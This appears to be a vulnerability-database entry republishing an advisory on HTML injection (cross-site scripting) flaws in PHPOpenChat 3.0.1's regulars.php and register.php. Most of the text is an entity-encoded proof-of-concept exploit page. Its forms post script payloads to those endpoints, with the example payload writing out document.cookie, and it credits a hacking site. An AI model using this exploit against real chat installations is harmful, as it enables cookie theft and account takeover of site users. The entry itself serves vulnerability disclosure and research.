PHPOpenChat 3.0.1 - Multiple HTML Injection Vulnerabilities

🗓️ 01 Jul 2014 00:00:00Reported by RootType

PHPOpenChat 3.0.1 - Multiple HTML Injection Vulnerabilitie


                                                source: http://www.securityfocus.com/bid/12841/info

PHPOpenChat is reportedly affected by multiple remote HTML injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in dynamically generated content.

Attacker-supplied HTML and script code would be able to access properties of the site, potentially allowing for theft of cookie-based authentication credentials. An attacker could also exploit this issue to control how the site is rendered to the user; other attacks are also possible. 

&#60;html&#62;
&#60;head&#62;
&#60;title&#62;PHPOpenChat v3.x XSS Exploit&#60;/title&#62;
&#60;/head&#62;
&#60;body&#62;
&#60;h1&#62;PHPOpenChat v3.x XSS Exploit&#60;/h1&#62;
&#60;form method=&#34;POST&#34; action=&#34;http://www.example.com/regulars.php&#34;&#62;
  &#60;b&#62;XSS in regulars.php:&#60;/b&#62;&#60;p&#62;
  &#60;input type=&#34;text&#34; name=&#34;chatter&#34; size=&#34;48&#34; value=&#34;XSS Injection
Code&#34;&#62;&#60;/p&#62;
  &#60;/p&#62;
  &#60;p&#62;exmple:
&#60;script&#62;document.write(document.cookie)&#60;/script&#62;&#60;/p&#62;
  &#60;p&#62;&#60;input type=&#34;submit&#34; style=&#34;width:80px&#34; value=&#34;Excute&#34; name=&#34;B1&#34;&#62;&#60;/p&#62;
&#60;/form&#62;
&#60;form method=&#34;POST&#34; action=&#34;http://www.example.com/register.php&#34;&#62;
  &#60;b&#62;XSS in register.php:&#60;/b&#62;&#60;p&#62;
  Nikname:
  &#60;input type=&#34;text&#34; name=&#34;chatter&#34; size=&#34;48&#34; value=&#34;XSS Injection
Code&#34;&#62;&#60;/p&#62;
  &#60;p&#62;
  Password:
  &#60;input type=&#34;text&#34; name=&#34;chatter1&#34; size=&#34;48&#34; value=&#34;XSS Injection
Code&#34;&#62;&#60;/p&#62;
  &#60;p&#62;
  FirstName LastName:
  &#60;input type=&#34;text&#34; name=&#34;chatter2&#34; size=&#34;48&#34; value=&#34;XSS Injection
Code&#34;&#62;&#60;/p&#62;
  &#60;p&#62;
  Email:
  &#60;input type=&#34;text&#34; name=&#34;chatter3&#34; size=&#34;48&#34; value=&#34;XSS Injection
Code&#34;&#62;&#60;/p&#62;
  &#60;p&#62;
  Url of picture:
  &#60;input type=&#34;text&#34; name=&#34;chatter4&#34; size=&#34;48&#34; value=&#34;XSS Injection
Code&#34;&#62;&#60;/p&#62;
  &#60;/p&#62;
  &#60;p&#62;exmple:
&#60;script&#62;document.write(document.cookie)&#60;/script&#62;&#60;/p&#62;
  &#60;p&#62;&#60;input type=&#34;submit&#34; style=&#34;width:80px&#34; value=&#34;Excute&#34; name=&#34;B1&#34;&#62;&#60;/p&#62;
&#60;/form&#62;
&#60;p&#62;&nbsp;&#60;/p&#62;
&#60;p align=&#34;center&#34;&#62;&#60;a
href=&#34;http://www.PersianHacker.NET&#34;&#62;www.PersianHacker.NET&#60;/a&#62;&#60;/p&#62;
&#60;/body&#62;
&#60;/html&#62;

01 Jul 2014 00:00Current

7.1High risk

Vulners AI Score7.1